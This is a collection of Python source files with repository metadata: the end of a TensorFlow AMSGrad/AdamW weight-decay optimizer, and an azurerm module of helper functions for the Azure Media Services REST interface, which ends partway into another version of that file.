name: Optional name for the returned operation. Default to the
name passed to the `Optimizer` constructor.
decay_var_list: Optional list of decay variables.
Returns:
An `Operation` that applies the specified gradients. If `global_step`
was not None, that operation also increments `global_step`.
"""
self._decay_var_list = set(decay_var_list) if decay_var_list else False
return super(DecoupledWeightDecayExtension, self).apply_gradients(
grads_and_vars, global_step=global_step, name=name)
def _prepare(self):
weight_decay = self._weight_decay
if callable(weight_decay):
weight_decay = weight_decay()
self._weight_decay_tensor = ops.convert_to_tensor(
weight_decay, name="weight_decay")
# Call the optimizers _prepare function.
super(DecoupledWeightDecayExtension, self)._prepare()
def _decay_weights_op(self, var):
if not self._decay_var_list or var in self._decay_var_list:
return var.assign_sub(self._weight_decay * var, self._use_locking)
return control_flow_ops.no_op()
def _decay_weights_sparse_op(self, var, indices, scatter_add):
if not self._decay_var_list or var in self._decay_var_list:
update = -self._weight_decay * array_ops.gather(var, indices)
return scatter_add(var, indices, update, self._use_locking)
return control_flow_ops.no_op()
# Here, we overwrite the apply functions that the base optimizer calls.
# super().apply_x resolves to the apply_x function of the BaseOptimizer.
def _apply_dense(self, grad, var):
with ops.control_dependencies([self._decay_weights_op(var)]):
return super(DecoupledWeightDecayExtension, self)._apply_dense(grad, var)
def _resource_apply_dense(self, grad, var):
with ops.control_dependencies([self._decay_weights_op(var)]):
return super(DecoupledWeightDecayExtension, self)._resource_apply_dense(
grad, var)
def _apply_sparse(self, grad, var):
scatter_add = state_ops.scatter_add
decay_op = self._decay_weights_sparse_op(var, grad.indices, scatter_add)
with ops.control_dependencies([decay_op]):
return super(DecoupledWeightDecayExtension, self)._apply_sparse(
grad, var)
def _resource_scatter_add(self, x, i, v, _=None):
# last argument allows for one overflow argument, to have the same function
# signature as state_ops.scatter_add
with ops.control_dependencies(
[resource_variable_ops.resource_scatter_add(x.handle, i, v)]):
return x.value()
def _resource_apply_sparse(self, grad, var, indices):
scatter_add = self._resource_scatter_add
decay_op = self._decay_weights_sparse_op(var, indices, scatter_add)
with ops.control_dependencies([decay_op]):
return super(DecoupledWeightDecayExtension, self)._resource_apply_sparse(
grad, var, indices)
class AMSGradW(DecoupledWeightDecayExtension, AMSGrad):
"""Optimizer that implements the Adam algorithm with weight decay.
This is an implementation of the AdamW optimizer described in "Fixing
Weight Decay Regularization in Adam" by Loshchilov & Hutter
(https://arxiv.org/abs/1711.05101)
([pdf])(https://arxiv.org/pdf/1711.05101.pdf).
It computes the update step of `train.AdamOptimizer` and additionally decays
the variable. Note that this is different from adding L2 regularization on
the variables to the loss: it regularizes variables with large
gradients more than L2 regularization would, which was shown to yield better
training loss and generalization error in the paper above.
For further information see the documentation of the Adam Optimizer.
Note that this optimizer can also be instantiated as
```python
extend_with_weight_decay(tf.train.AdamOptimizer, weight_decay=weight_decay)
```
"""
def __init__(self, weight_decay, learning_rate=0.001, beta1=0.9, beta2=0.999,
epsilon=1e-8, use_locking=False, name="AdamW"):
"""Construct a new AdamW optimizer.
For further information see the documentation of the Adam Optimizer.
Args:
weight_decay: A `Tensor` or a floating point value. The weight decay.
learning_rate: A Tensor or a floating point value. The learning rate.
beta1: A float value or a constant float tensor.
The exponential decay rate for the 1st moment estimates.
beta2: A float value or a constant float tensor.
The exponential decay rate for the 2nd moment estimates.
epsilon: A small constant for numerical stability. This epsilon is
"epsilon hat" in the Kingma and Ba paper (in the formula just before
Section 2.1), not the epsilon in Algorithm 1 of the paper.
use_locking: If True use locks for update operations.
name: Optional name for the operations created when applying gradients.
Defaults to "Adam".
"""
super(AMSGradW, self).__init__(
weight_decay, learning_rate=learning_rate, beta1=beta1, beta2=beta2,
epsilon=epsilon, use_locking=use_locking, name=name)
| {
"repo_name": "ytworks/LinearMotor",
"path": "Custom/amsgrad.py",
"copies": "1",
"size": "17666",
"license": "mit",
"hash": -8364744821384024000,
"line_mean": 47.9362880886,
"line_max": 115,
"alpha_frac": 0.6618929016,
"autogenerated": false,
"ratio": 3.4707269155206286,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.4632619817120629,
"avg_score": null,
"num_lines": null
} |
'''amsrp.py - azurerm functions for the Microsoft.Media resource provider and AMS Rest Interface.'''
import json
import urllib
from .restfns import do_get, do_put, do_post, do_delete, do_ams_auth, do_ams_get, \
do_ams_post, do_ams_put, do_ams_delete, do_ams_patch, do_ams_sto_put
from .settings import get_rm_endpoint, ams_rest_endpoint, ams_auth_endpoint, MEDIA_API
def check_media_service_name_availability(access_token, subscription_id, msname):
'''Check media service name availability.
Args:
access_token (str): A valid Azure authentication token.
subscription_id (str): Azure subscription id.
msname (str): media service name.
Returns:
HTTP response.
'''
endpoint = ''.join([get_rm_endpoint(),
'/subscriptions/', subscription_id,
'/providers/microsoft.media/CheckNameAvailability?',
'api-version=', MEDIA_API])
ms_body = {'name': msname}
ms_body['type'] = 'mediaservices'
body = json.dumps(ms_body)
return do_post(endpoint, body, access_token)
def create_media_service_rg(access_token, subscription_id, rgname, location, stoname, msname):
'''Create a media service in a resource group.
Args:
access_token (str): A valid Azure authentication token.
subscription_id (str): Azure subscription id.
rgname (str): Azure resource group name.
location (str): Azure data center location. E.g. westus.
stoname (str): Azure storage account name.
msname (str): Media service name.
Returns:
HTTP response. JSON body.
'''
endpoint = ''.join([get_rm_endpoint(),
'/subscriptions/', subscription_id,
'/resourceGroups/', rgname,
'/providers/microsoft.media/mediaservices/', msname,
'?api-version=', MEDIA_API])
ms_body = {'name': msname}
ms_body['location'] = location
sub_id_str = '/subscriptions/' + subscription_id + '/resourceGroups/' + rgname + \
'/providers/Microsoft.Storage/storageAccounts/' + stoname
storage_account = {'id': sub_id_str}
storage_account['isPrimary'] = True
properties = {'storageAccounts': [storage_account]}
ms_body['properties'] = properties
body = json.dumps(ms_body)
return do_put(endpoint, body, access_token)
def delete_media_service_rg(access_token, subscription_id, rgname, msname):
'''Delete a media service.
Args:
access_token (str): A valid Azure authentication token.
subscription_id (str): Azure subscription id.
rgname (str): Azure resource group name.
msname (str): Media service name.
Returns:
HTTP response.
'''
endpoint = ''.join([get_rm_endpoint(),
'/subscriptions/', subscription_id,
'/resourceGroups/', rgname,
'/providers/microsoft.media/mediaservices/', msname,
'?api-version=', MEDIA_API])
return do_delete(endpoint, access_token)
def list_media_endpoint_keys(access_token, subscription_id, rgname, msname):
'''list the media endpoint keys in a media service
Args:
access_token (str): A valid Azure authentication token.
subscription_id (str): Azure subscription id.
rgname (str): Azure resource group name.
msname (str): Media service name.
Returns:
HTTP response. JSON body.
'''
endpoint = ''.join([get_rm_endpoint(),
'/subscriptions/', subscription_id,
'/resourceGroups/', rgname,
'/providers/microsoft.media/',
'/mediaservices/', msname,
'/listKeys?api-version=', MEDIA_API])
return do_get(endpoint, access_token)
def list_media_services(access_token, subscription_id):
'''List the media services in a subscription.
Args:
access_token (str): A valid Azure authentication token.
subscription_id (str): Azure subscription id.
Returns:
HTTP response. JSON body.
'''
endpoint = ''.join([get_rm_endpoint(),
'/subscriptions/', subscription_id,
'/providers/microsoft.media/mediaservices?api-version=', MEDIA_API])
return do_get(endpoint, access_token)
def list_media_services_rg(access_token, subscription_id, rgname):
'''List the media services in a resource group.
Args:
access_token (str): A valid Azure authentication token.
subscription_id (str): Azure subscription id.
rgname (str): Azure resource group name.
Returns:
HTTP response. JSON body.
'''
endpoint = ''.join([get_rm_endpoint(),
'/subscriptions/', subscription_id,
'/resourceGroups/', rgname,
'/providers/microsoft.media/mediaservices?api-version=', MEDIA_API])
return do_get(endpoint, access_token)
def get_ams_access_token(accountname, accountkey):
'''Get Media Services Authentication Token.
Args:
accountname (str): Azure Media Services account name.
accountkey (str): Azure Media Services Key.
Returns:
HTTP response. JSON body.
'''
accountkey_encoded = urllib.parse.quote(accountkey, safe='')
body = "grant_type=client_credentials&client_id=" + accountname + \
"&client_secret=" + accountkey_encoded + " &scope=urn%3aWindowsAzureMediaServices"
return do_ams_auth(ams_auth_endpoint, body)
def list_media_asset(access_token, oid=""):
'''List Media Service Asset(s).
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Asset OID.
Returns:
HTTP response. JSON body.
'''
path = '/Assets'
return helper_list(access_token, oid, path)
def list_content_key(access_token, oid=""):
'''List Media Service Content Key(s).
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Content Key OID.
Returns:
HTTP response. JSON body.
'''
path = '/ContentKeys'
return helper_list(access_token, oid, path)
def list_contentkey_authorization_policy(access_token, oid=""):
'''List Media Service Content Key Authorization Policy(ies).
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Content Key Authorization Policy OID.
Returns:
HTTP response. JSON body.
'''
path = '/ContentKeyAuthorizationPolicies'
return helper_list(access_token, oid, path)
def list_contentkey_authorization_policy_options(access_token, oid=""):
'''List Media Service Content Key Authorization Policy Option(s).
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Content Key Authorization Policy Option OID.
Returns:
HTTP response. JSON body.
'''
path = '/ContentKeyAuthorizationPolicyOptions'
return helper_list(access_token, oid, path)
def list_media_processor(access_token, oid=""):
'''List Media Service Processor(s).
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Processor OID.
Returns:
HTTP response. JSON body.
'''
path = '/MediaProcessors'
return helper_list(access_token, oid, path)
def list_asset_accesspolicy(access_token, oid=""):
'''List Media Service Asset Access Policy(ies).
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Asset Access Policy OID.
Returns:
HTTP response. JSON body.
'''
path = '/AccessPolicies'
return helper_list(access_token, oid, path)
def list_sas_locator(access_token, oid=""):
'''List Media Service SAS Locator(s).
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service SAS Locator OID.
Returns:
HTTP response. JSON body.
'''
path = '/Locators'
return helper_list(access_token, oid, path)
def list_media_job(access_token, oid=""):
'''List Media Service Job(s).
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Job OID.
Returns:
HTTP response. JSON body.
'''
path = '/Jobs'
return helper_list(access_token, oid, path)
def list_asset_delivery_policy(access_token, oid=""):
'''List Media Service Asset Delivery Policy(ies).
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Asset Delivery Policy OID.
Returns:
HTTP response. JSON body.
'''
path = '/AssetDeliveryPolicies'
return helper_list(access_token, oid, path)
def list_streaming_endpoint(access_token, oid=""):
'''List Media Service Streaming Endpoint(s).
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Streaming Endpoint OID.
Returns:
HTTP response. JSON body.
'''
path = '/StreamingEndpoints'
return helper_list(access_token, oid, path)
def delete_streaming_endpoint(access_token, oid):
'''Delete Media Service Streaming Endpoint.
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Streaming Endpoint OID.
Returns:
HTTP response. JSON body.
'''
path = '/StreamingEndpoints'
return helper_delete(access_token, oid, path)
def delete_asset_delivery_policy(access_token, oid):
'''Delete Media Service Asset Delivery Policy.
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Delivery Policy OID.
Returns:
HTTP response. JSON body.
'''
path = '/AssetDeliveryPolicies'
return helper_delete(access_token, oid, path)
def delete_asset_accesspolicy(access_token, oid):
'''Delete Media Service Asset Access Policy.
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Asset Access Policy OID.
Returns:
HTTP response. JSON body.
'''
path = '/AccessPolicies'
return helper_delete(access_token, oid, path)
def delete_sas_locator(access_token, oid):
'''Delete Media Service SAS Locator.
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service SAS Locator OID.
Returns:
HTTP response. JSON body.
'''
path = '/Locators'
return helper_delete(access_token, oid, path)
def delete_content_key(access_token, oid):
'''Delete Media Service Content Key.
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Content Key OID.
Returns:
HTTP response. JSON body.
'''
path = '/ContentKeys'
return helper_delete(access_token, oid, path)
def delete_contentkey_authorization_policy(access_token, oid):
'''Delete Media Service Content Key Authorization Policy.
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Content Key Authorization Policy OID.
Returns:
HTTP response. JSON body.
'''
path = '/ContentKeyAuthorizationPolicies'
return helper_delete(access_token, oid, path)
def delete_contentkey_authorization_policy_options(access_token, oid):
'''Delete Media Service Content Key Authorization Policy Option.
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Content Key Authorization Policy Option OID.
Returns:
HTTP response. JSON body.
'''
path = '/ContentKeyAuthorizationPolicyOptions'
return helper_delete(access_token, oid, path)
def delete_media_asset(access_token, oid):
'''Delete Media Service Media Asset.
Args:
access_token (str): A valid Azure authentication token.
oid (str): Media Service Asset OID.
Returns:
HTTP response. JSON body.
'''
path = '/Assets'
return helper_delete(access_token, oid, path)
def create_media_asset(access_token, name, options="0"):
'''Create Media Service Asset.
Args:
access_token (str): A valid Azure authentication token.
name (str): Media Service Asset Name.
options (str): Media Service Options.
Returns:
HTTP response. JSON body.
'''
path = '/Assets'
endpoint = ''.join([ams_rest_endpoint, path])
body = '{"Name": "' + name + '", "Options": "' + str(options) + '"}'
return do_ams_post(endpoint, path, body, access_token)
def create_media_assetfile(access_token, parent_asset_id, name, is_primary="false", \
is_encrypted="false", encryption_scheme="None", encryptionkey_id="None"):
'''Create Media Service Asset File.
Args:
access_token (str): A valid Azure authentication token.
parent_asset_id (str): Media Service Parent Asset ID.
name (str): Media Service Asset Name.
is_primary (str): Media Service Primary Flag.
is_encrypted (str): Media Service Encryption Flag.
encryption_scheme (str): Media Service Encryption Scheme.
encryptionkey_id (str): Media Service Encryption Key ID.
Returns:
HTTP response. JSON body.
'''
path = '/Files'
endpoint = ''.join([ams_rest_endpoint, path])
if encryption_scheme == "StorageEncryption":
body = '{ \
"IsEncrypted": "' + is_encrypted + '", \
"EncryptionScheme": "' + encryption_scheme + '", \
"EncryptionVersion": "' + "1.0" + '", \
"EncryptionKeyId": "' + encryptionkey_id + '", \
"IsPrimary": "' + is_primary + '", \
"MimeType": "video/mp4", \
"Name": "' + name + '", \
"ParentAssetId": "' + parent_asset_id + '" \
}'
else:
body = '{ \
"IsPrimary": "' + is_primary + '", \
"MimeType": "video/mp4", \
"Name": "' + name + '", \
"ParentAssetId": "' + parent_asset_id + '" \
}'
return do_ams_post(endpoint, path, body, access_token)
def create_sas_locator(access_token, asset_id, accesspolicy_id):
'''Create Media Service SAS Locator.
Args:
access_token (str): A valid Azure authentication token.
asset_id (str): Media Service Asset ID.
accesspolicy_id (str): Media Service Access Policy ID.
Returns:
HTTP response. JSON body.
'''
path = '/Locators'
endpoint = ''.join([ams_rest_endpoint, path])
body = '{ \
"AccessPolicyId":"' + accesspolicy_id + '", \
"AssetId":"' + asset_id + '", \
"Type":1 \
}'
return do_ams_post(endpoint, path, body, access_token)
def create_asset_delivery_policy(access_token, ams_account, key_delivery_url):
'''Create Media Service Asset Delivery Policy.
Args:
access_token (str): A valid Azure authentication token.
ams_account (str): Media Service Account.
Returns:
HTTP response. JSON body.
'''
path = '/AssetDeliveryPolicies'
endpoint = ''.join([ams_rest_endpoint, path])
body = '{ \
"Name":"AssetDeliveryPolicy", \
"AssetDeliveryProtocol":"4", \
"AssetDeliveryPolicyType":"3", \
"AssetDeliveryConfiguration":"[{ \
\\"Key\\":\\"2\\", \
\\"Value\\":\\"' + key_delivery_url + '\\"}]" \
}'
return do_ams_post(endpoint, path, body, access_token)
def create_contentkey_authorization_policy(access_token, content):
'''Create Media Service Content Key Authorization Policy.
Args:
access_token (str): A valid Azure authentication token.
content (str): Content Payload.
Returns:
HTTP response. JSON body.
'''
path = '/ContentKeyAuthorizationPolicies'
endpoint = ''.join([ams_rest_endpoint, path])
body = content
return do_ams_post(endpoint, path, body, access_token)
def create_contentkey_authorization_policy_options(access_token, key_delivery_type="2", \
name="HLS Open Authorization Policy", key_restriction_type="0"):
'''Create Media Service Content Key Authorization Policy Options.
Args:
access_token (str): A valid Azure authentication token.
key_delivery_type (str): A Media Service Content Key Authorization Policy Delivery Type.
name (str): A Media Service Contenty Key Authorization Policy Name.
key_restiction_type (str): A Media Service Contenty Key Restriction Type.
Returns:
HTTP response. JSON body.
'''
path = '/ContentKeyAuthorizationPolicyOptions'
endpoint = ''.join([ams_rest_endpoint, path])
body = '{ \
"Name":"policy",\
"KeyDeliveryType":"' + key_delivery_type + '", \
"KeyDeliveryConfiguration":"", \
"Restrictions":[{ \
"Name":"' + name + '", \
"KeyRestrictionType":"' + key_restriction_type + '", \
"Requirements":null \
}] \
}'
return do_ams_post(endpoint, path, body, access_token, "json_only")
def create_ondemand_streaming_locator(access_token, encoded_asset_id, pid, starttime=None):
'''Create Media Service OnDemand Streaming Locator.
Args:
access_token (str): A valid Azure authentication token.
encoded_asset_id (str): A Media Service Encoded Asset ID.
pid (str): A Media Service Encoded PID.
starttime (str): A Media Service Starttime.
Returns:
HTTP response. JSON body.
'''
path = '/Locators'
endpoint = ''.join([ams_rest_endpoint, path])
if starttime is None:
body = '{ \
"AccessPolicyId":"' + pid + '", \
"AssetId":"' + encoded_asset_id + '", \
"Type": "2" \
}'
else:
body = '{ \
"AccessPolicyId":"' + pid + '", \
"AssetId":"' + encoded_asset_id + '", \
"StartTime":"' + str(starttime) + '", \
"Type": "2" \
}'
return do_ams_post(endpoint, path, body, access_token, "json_only")
def create_asset_accesspolicy(access_token, name, duration, permission="1"):
'''Create Media Service Asset Access Policy.
Args:
access_token (str): A valid Azure authentication token.
name (str): A Media Service Asset Access Policy Name.
duration (str): A Media Service duration.
permission (str): A Media Service permission.
Returns:
HTTP response. JSON body.
'''
path = '/AccessPolicies'
endpoint = ''.join([ams_rest_endpoint, path])
body = '{ \
"Name": "' + str(name) + '", \
"DurationInMinutes": "' + duration + '", \
"Permissions": "' + permission + '" \
}'
return do_ams_post(endpoint, path, body, access_token)
def create_streaming_endpoint(access_token, name, description="New Streaming Endpoint", \
scale_units="1"):
'''Create Media Service Streaming Endpoint.
Args:
access_token (str): A valid Azure authentication token.
name (str): A Media Service Streaming Endpoint Name.
description (str): A Media Service Streaming Endpoint Description.
scale_units (str): A Media Service Scale Units Number.
Returns:
HTTP response. JSON body.
'''
path = '/StreamingEndpoints'
endpoint = ''.join([ams_rest_endpoint, path])
body = '{ \
"Id":null, \
"Name":"' + name + '", \
"Description":"' + description + '", \
"Created":"0001-01-01T00:00:00", \
"LastModified":"0001-01-01T00:00:00", \
"State":null, \
"HostName":null, \
"ScaleUnits":"' + scale_units + '", \
"CrossSiteAccessPolicies":{ \
"ClientAccessPolicy":"<access-policy><cross-domain-access><policy><allow-from http-request-headers=\\"*\\"><domain uri=\\"http://*\\" /></allow-from><grant-to><resource path=\\"/\\" include-subpaths=\\"false\\" /></grant-to></policy></cross-domain-access></access-policy>", \
"CrossDomainPolicy":"<?xml version=\\"1.0\\"?><!DOCTYPE cross-domain-policy SYSTEM \\"http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd\\"><cross-domain-policy><allow-access-from domain=\\"*\\" /></cross-domain-policy>" \
} \
}'
return do_ams_post(endpoint, path, body, access_token)
def scale_streaming_endpoint(access_token, streaming_endpoint_id, scale_units):
'''Scale Media Service Streaming Endpoint.
Args:
access_token (str): A valid Azure authentication token.
streaming_endpoint_id (str): A Media Service Streaming Endpoint ID.
scale_units (str): A Media Service Scale Units Number.
Returns:
HTTP response. JSON body.
'''
path = '/StreamingEndpoints'
full_path = ''.join([path, "('", streaming_endpoint_id, "')", "/Scale"])
full_path_encoded = urllib.parse.quote(full_path, safe='')
endpoint = ''.join([ams_rest_endpoint, full_path_encoded])
body = '{"scaleUnits": "' + str(scale_units) + '"}'
return do_ams_post(endpoint, full_path_encoded, body, access_token)
def link_asset_content_key(access_token, asset_id, encryptionkey_id, ams_redirected_rest_endpoint):
'''Link Media Service Asset and Content Key.
Args:
access_token (str): A valid Azure authentication token.
asset_id (str): A Media Service Asset ID.
encryption_id (str): A Media Service Encryption ID.
ams_redirected_rest_endpoint (str): A Media Service Redirected Endpoint.
Returns:
HTTP response. JSON body.
'''
path = '/Assets'
full_path = ''.join([path, "('", asset_id, "')", "/$links/ContentKeys"])
full_path_encoded = urllib.parse.quote(full_path, safe='')
endpoint = ''.join([ams_rest_endpoint, full_path_encoded])
uri = ''.join([ams_redirected_rest_endpoint, 'ContentKeys', "('", encryptionkey_id, "')"])
body = '{"uri": "' + uri + '"}'
return do_ams_post(endpoint, full_path_encoded, body, access_token)
def link_asset_delivery_policy(access_token, asset_id, adp_id, ams_redirected_rest_endpoint):
'''Link Media Service Asset Delivery Policy.
Args:
access_token (str): A valid Azure authentication token.
asset_id (str): A Media Service Asset ID.
adp_id (str): A Media Service Asset Delivery Policy ID.
ams_redirected_rest_endpoint (str): A Media Service Redirected Endpoint.
Returns:
HTTP response. JSON body.
'''
path = '/Assets'
full_path = ''.join([path, "('", asset_id, "')", "/$links/DeliveryPolicies"])
full_path_encoded = urllib.parse.quote(full_path, safe='')
endpoint = ''.join([ams_rest_endpoint, full_path_encoded])
uri = ''.join([ams_redirected_rest_endpoint, 'AssetDeliveryPolicies', "('", adp_id, "')"])
body = '{"uri": "' + uri + '"}'
return do_ams_post(endpoint, full_path_encoded, body, access_token)
def link_contentkey_authorization_policy(access_token, ckap_id, options_id, \
ams_redirected_rest_endpoint):
'''Link Media Service Content Key Authorization Policy.
Args:
access_token (str): A valid Azure authentication token.
ckap_id (str): A Media Service Asset Content Key Authorization Policy ID.
options_id (str): A Media Service Content Key Authorization Policy Options .
ams_redirected_rest_endpoint (str): A Media Service Redirected Endpoint.
Returns:
HTTP response. JSON body.
'''
path = '/ContentKeyAuthorizationPolicies'
full_path = ''.join([path, "('", ckap_id, "')", "/$links/Options"])
full_path_encoded = urllib.parse.quote(full_path, safe='')
endpoint = ''.join([ams_rest_endpoint, full_path_encoded])
uri = ''.join([ams_redirected_rest_endpoint, 'ContentKeyAuthorizationPolicyOptions', \
"('", options_id, "')"])
body = '{"uri": "' + uri + '"}'
return do_ams_post(endpoint, full_path_encoded, body, access_token, "json_only", "1.0;NetFx")
def add_authorization_policy(access_token, ck_id, oid):
'''Add Media Service Authorization Policy.
Args:
access_token (str): A valid Azure authentication token.
ck_id (str): A Media Service Asset Content Key ID.
options_id (str): A Media Service OID.
Returns:
HTTP response. JSON body.
'''
path = '/ContentKeys'
body = '{"AuthorizationPolicyId":"' + oid + '"}'
return helper_add(access_token, ck_id, path, body)
def update_media_assetfile(access_token, parent_asset_id, asset_id, content_length, name):
'''Update Media Service Asset File.
Args:
access_token (str): A valid Azure authentication token.
parent_asset_id (str): A Media Service Asset Parent Asset ID.
asset_id (str): A Media Service Asset Asset ID.
content_length (str): A Media Service Asset Content Length.
name (str): A Media Service Asset name.
Returns:
HTTP response. JSON body.
'''
path = '/Files'
full_path = ''.join([path, "('", asset_id, "')"])
full_path_encoded = urllib.parse.quote(full_path, safe='')
endpoint = ''.join([ams_rest_endpoint, full_path_encoded])
body = '{ \
"ContentFileSize": "' + str(content_length) + '", \
"Id": "' + asset_id + '", \
"MimeType": "video/mp4", \
"Name": "' + name + '", \
"ParentAssetId": "' + parent_asset_id + '" \
}'
return do_ams_patch(endpoint, full_path_encoded, body, access_token)
def get_key_delivery_url(access_token, ck_id, key_type):
'''Get Media Services Key Delivery URL.
Args:
access_token (str): A valid Azure authentication token.
ck_id (str): A Media Service Content Key ID.
key_type (str): A Media Service key Type.
Returns:
HTTP response. JSON body.
'''
path = '/ContentKeys'
full_path = ''.join([path, "('", ck_id, "')", "/GetKeyDeliveryUrl"])
endpoint = ''.join([ams_rest_endpoint, full_path])
body = '{"keyDeliveryType": "' + key_type + '"}'
return do_ams_post(endpoint, full_path, body, access_token)
def encode_mezzanine_asset(access_token, processor_id, asset_id, output_assetname, json_profile):
'''Get Media Service Encode Mezanine Asset.
Args:
access_token (str): A valid Azure authentication token.
processor_id (str): A Media Service Processor ID.
asset_id (str): A Media Service Asset ID.
output_assetname (str): A Media Service Asset Name.
json_profile (str): A Media Service JSON Profile.
Returns:
HTTP response. JSON body.
'''
path = '/Jobs'
endpoint = ''.join([ams_rest_endpoint, path])
assets_path = ''.join(["/Assets", "('", asset_id, "')"])
assets_path_encoded = urllib.parse.quote(assets_path, safe='')
endpoint_assets = ''.join([ams_rest_endpoint, assets_path_encoded])
body = '{ \
"Name":"' + output_assetname + '", \
"InputMediaAssets":[{ \
"__metadata":{ \
"uri":"' + endpoint_assets + '" \
} \
}], \
"Tasks":[{ \
"Configuration":\'' + json_profile + '\', \
"MediaProcessorId":"' + processor_id + '", \
"TaskBody":"<?xml version=\\"1.0\\" encoding=\\"utf-16\\"?><taskBody><inputAsset>JobInputAsset(0)</inputAsset><outputAsset assetCreationOptions=\\"0\\" assetName=\\"' + output_assetname + '\\">JobOutputAsset(0)</outputAsset></taskBody>" \
}] \
}'
return do_ams_post(endpoint, path, body, access_token)
def validate_mp4_asset(access_token, processor_id, asset_id, output_assetname):
'''Validate MP4 File.
Args:
access_token (str): A valid Azure authentication token.
processor_id (str): A Media Service Processor ID.
asset_id (str): A Media Service Asset ID.
output_assetname (str): A Media Service Asset Name.
Returns:
HTTP response. JSON body.
'''
path = '/Jobs'
endpoint = ''.join([ams_rest_endpoint, path])
assets_path = ''.join(["/Assets", "('", asset_id, "')"])
assets_path_encoded = urllib.parse.quote(assets_path, safe='')
endpoint_assets = ''.join([ams_rest_endpoint, assets_path_encoded])
body = '{ \
"Name":"ValidateEncodedMP4", \
"InputMediaAssets":[{ \
"__metadata":{ \
"uri":"' + endpoint_assets + '" \
} \
}], \
"Tasks":[{ \
"Configuration":"<?xml version=\\"1.0\\" encoding=\\"utf-8\\"?><taskDefinition xmlns=\\"http://schemas.microsoft.com/iis/media/v4/TM/TaskDefinition#\\"><name>MP4 Preprocessor</name><id>859515BF-9BA3-4BDD-A3B6-400CEF07F870</id><description xml:lang=\\"en\\" /><inputFolder /><properties namespace=\\"http://schemas.microsoft.com/iis/media/V4/TM/MP4Preprocessor#\\" prefix=\\"mp4p\\"><property name=\\"SmoothRequired\\" value=\\"false\\" /><property name=\\"HLSRequired\\" value=\\"true\\" /></properties><taskCode><type>Microsoft.Web.Media.TransformManager.MP4PreProcessor.MP4Preprocessor_Task, Microsoft.Web.Media.TransformManager.MP4Preprocessor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</type></taskCode></taskDefinition>", \
"MediaProcessorId":"' + processor_id + '", \
"TaskBody":"<?xml version=\\"1.0\\" encoding=\\"utf-16\\"?><taskBody><inputAsset>JobInputAsset(0)</inputAsset><outputAsset assetCreationOptions=\\"0\\" assetName=\\"' + output_assetname + '\\">JobOutputAsset(0)</outputAsset></taskBody>" \
}] \
}'
return do_ams_post(endpoint, path, body, access_token)
def helper_add(access_token, ck_id, path, body):
'''Helper Function to add strings to a URL path.
Args:
access_token (str): A valid Azure authentication token.
ck_id (str): A CK ID.
path (str): A URL Path.
body (str): A Body.
Returns:
HTTP response. JSON body.
'''
full_path = ''.join([path, "('", ck_id, "')"])
full_path_encoded = urllib.parse.quote(full_path, safe='')
endpoint = ''.join([ams_rest_endpoint, full_path_encoded])
return do_ams_put(endpoint, full_path_encoded, body, access_token, "json_only", "1.0;NetFx")
def helper_list(access_token, oid, path):
'''Helper Function to list a URL path.
Args:
access_token (str): A valid Azure authentication token.
oid (str): An OID.
path (str): A URL Path.
Returns:
HTTP response. JSON body.
'''
if oid != "":
path = ''.join([path, "('", oid, "')"])
endpoint = ''.join([ams_rest_endpoint, path])
return do_ams_get(endpoint, path, access_token)
def helper_delete(access_token, oid, path):
'''Helper Function to delete a Object at a URL path.
Args:
access_token (str): A valid Azure authentication token.
oid (str): An OID.
path (str): A URL Path.
Returns:
HTTP response. JSON body.
'''
full_path = ''.join([path, "('", oid, "')"])
full_path_encoded = urllib.parse.quote(full_path, safe='')
endpoint = ''.join([ams_rest_endpoint, full_path_encoded])
return do_ams_delete(endpoint, full_path_encoded, access_token)
def translate_asset_options(code):
'''AUX Function to translate the asset (numeric) encryption option of an Asset.
Args:
nr (int): A valid number to translate.
Returns:
HTTP response. JSON body.
'''
if code == "0":
return "None"
if code == "1":
return "StorageEncrypted"
if code == "2":
return "CommonEncryptionProtected"
if code == "4":
return "EnvelopeEncryptionProtected"
def translate_job_state(code):
'''AUX Function to translate the (numeric) state of a Job.
Args:
nr (int): A valid number to translate.
Returns:
HTTP response. JSON body.
'''
code_description = ""
if code == "0":
code_description = "Queued"
if code == "1":
code_description = "Scheduled"
if code == "2":
code_description = "Processing"
if code == "3":
code_description = "Finished"
if code == "4":
code_description = "Error"
if code == "5":
code_description = "Canceled"
if code == "6":
code_description = "Canceling"
return code_description
### Exceptions...
# These, I think, should not be here... ;-)
# upload_block_blob(access_token, endpoint, content, content_length)
# upload a block blob
def upload_block_blob(endpoint, content, content_length):
'''AUX (quick and dirty) Function to upload a block Blob..
Args:
access_token (str): A valid Azure authentication token.
endpoint (str): A Media Service Endpoint.
content (str): A Content.
content_length (str): A Content Length.
Returns:
HTTP response. JSON body.
'''
return do_ams_sto_put(endpoint, content, content_length)
| {
"repo_name": "gbowerman/azurerm",
"path": "azurerm/amsrp.py",
"copies": "1",
"size": "32553",
"license": "mit",
"hash": -186929182190088960,
"line_mean": 32.944734098,
"line_max": 764,
"alpha_frac": 0.623721316,
"autogenerated": false,
"ratio": 3.770326615705351,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.4894047931705351,
"avg_score": null,
"num_lines": null
} |
# amsrp.py - azurerm functions for the Microsoft.Media resource provider
from .restfns import do_get, do_post, do_put, do_delete
from .settings import azure_rm_endpoint, MEDIA_API
# check_name_availability of a media service name(access_token, subscription_id, rgname)
# check the media service name availability in a rgname and msname
def check_media_service_name_availability(access_token, subscription_id, name):
